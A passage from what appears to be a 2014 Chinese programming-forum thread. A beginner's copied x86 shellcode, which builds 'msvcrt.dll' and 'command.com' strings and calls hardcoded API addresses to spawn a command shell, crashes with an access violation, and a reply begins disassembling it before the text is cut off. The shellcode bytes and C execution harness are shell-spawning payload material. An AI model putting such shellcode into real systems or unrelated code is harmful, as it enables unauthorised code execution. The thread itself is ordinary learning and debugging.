日期:2014-05-17  浏览次数:20755 次

shellcode无法验证
初学shellcode,照抄了一个shellcode后,执行报access violation异常,代码如下:
char shellcode[]="\x55\x8B\xEC\x33\xFF\x57\x57\x83\xEC\x10\x66\xC7\x45\xEA\x6D\x00\x66\xC7\x45\xEC\x73\x00\x66\xC7\x45\xEE\x76\x00\x66\xC7\x45\xF0\x63\x00\x66\xC7\x45\xF2\x72\x00\x66\xC7\x45\xF4\x74\x00\x66\xC7\x45\xF6\x2E\x00\x66\xC7\x45\xF8\x64\x00\x66\xC7\x45\xFA\x6C\x00\x66\xC7\x45\xFC\x6C\x00\x8D\x45\xEA\x50\xB8\xD2\x28\x65\x76\xFF\xD0\x83\xC4\x18\x33\xFF\x57\x83\xEC\x08\xC6\x45\xF4\x63\xC6\x45\xF5\x6F\xC6\x45\xF6\x6D\xC6\x45\xF7\x6D\xC6\x45\xF8\x61\xC6\x45\xF9\x6E\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x63\xC6\x45\xFD\x6F\xC6\x45\xFE\x6D\x8D\x45\xF4\x50\xB8\x6F\xB1\xD1\x75\xFF\xD0\x83\xC4\x0C\x8B\xE5\x5D";

int main()
{
( (void(*)(void)) shellcode )();
return 0;
}

异常代码如下:
Unhandled exception at 0x01137000 in codeTest.exe: 0xC0000005: Access violation.

0x01137000 该地址是shellcode的起始地址;

猜测是因为shellcode放在静态数据段中,该段没有可执行的属性,故导致该异常,但是放在堆栈中也不行,报同样错误,如果是这个原因的话,那现在的程序就能够区分开数据和代码了,shellcode还有什么用处? 求解答

如果不是因为这个原因的话,又是为什么呢?

------解决方案--------------------
首先这段shellcode在反汇编里面是这个样子:
00421C3A 55 push ebp
00421C3B 8BEC mov ebp, esp
00421C3D 33FF xor edi, edi
00421C3F 57 push edi
00421C40 57 push edi
00421C41 83EC 10 sub esp, 10
00421C44 66:C745 EA 6D00 mov word ptr ss:[ebp-16], 6D
00421C4A 66:C745 EC 7300 mov word ptr ss:[ebp-14], 73
00421C50 66:C745 EE 7600 mov word ptr ss:[ebp-12], 76
00421C56 66:C745 F0 6300 mov word ptr ss:[ebp-10], 63
00421C5C 66:C745 F2 7200 mov word ptr ss:[ebp-E], 72
00421C62 66:C745 F4 7400 mov word ptr ss:[ebp-C], 74
00421C68 66:C745 F6 2E00 mov word ptr ss:[ebp-A], 2E
00421C6E 66:C745 F8 6400 mov word ptr ss:[ebp-8], 64
00421C74 66:C745 FA 6C00 mov word ptr ss:[ebp-6], 6C
00421C7A 66:C745 FC 6C00 mov word ptr ss:[ebp-4], 6C
00421C80 8D45 EA lea eax, dword ptr ss:[ebp-16]
00421C83 50 push eax
00421C84 B8 D2286576 mov eax, 766528D2
00421C89 FFD0 call eax
00421C8B 83C4 18 add esp, 18
00421C8E 33FF xor edi, edi
00421C90 57 push edi
00421C91 83EC 08 sub esp, 8
00421C94 C645 F4 63 mov byte ptr ss:[ebp-C], 63
00421C98 C645 F5 6F mov byte ptr ss:[ebp-B], 6F
00421C9C C645 F6 6D mov byte ptr ss:[ebp-A], 6D
00421CA0 C645 F7 6D mov byte ptr ss:[ebp-9], 6D
00421CA4 C645 F8 61 mov byte ptr ss:[ebp-8], 61
00421CA8 C645 F9 6E mov byte ptr ss:[ebp-7], 6E
00421CAC C645 FA 64 mov byte ptr ss:[ebp-6], 64
00421CB0 C645 FB 2E mov byte ptr ss:[ebp-5], 2E
00421CB4 C645 FC 63 mov byte ptr ss:[ebp-4], 63
00421CB8 C645 FD 6F mov byte ptr ss:[ebp-3], 6F
00421CBC C645 FE 6D mov byte ptr ss:[ebp-2], 6D
00421CC0 8D45 F4 lea eax, dword ptr ss:[ebp-C]
00421CC3 50 push eax
00421CC4 B8 6FB1D175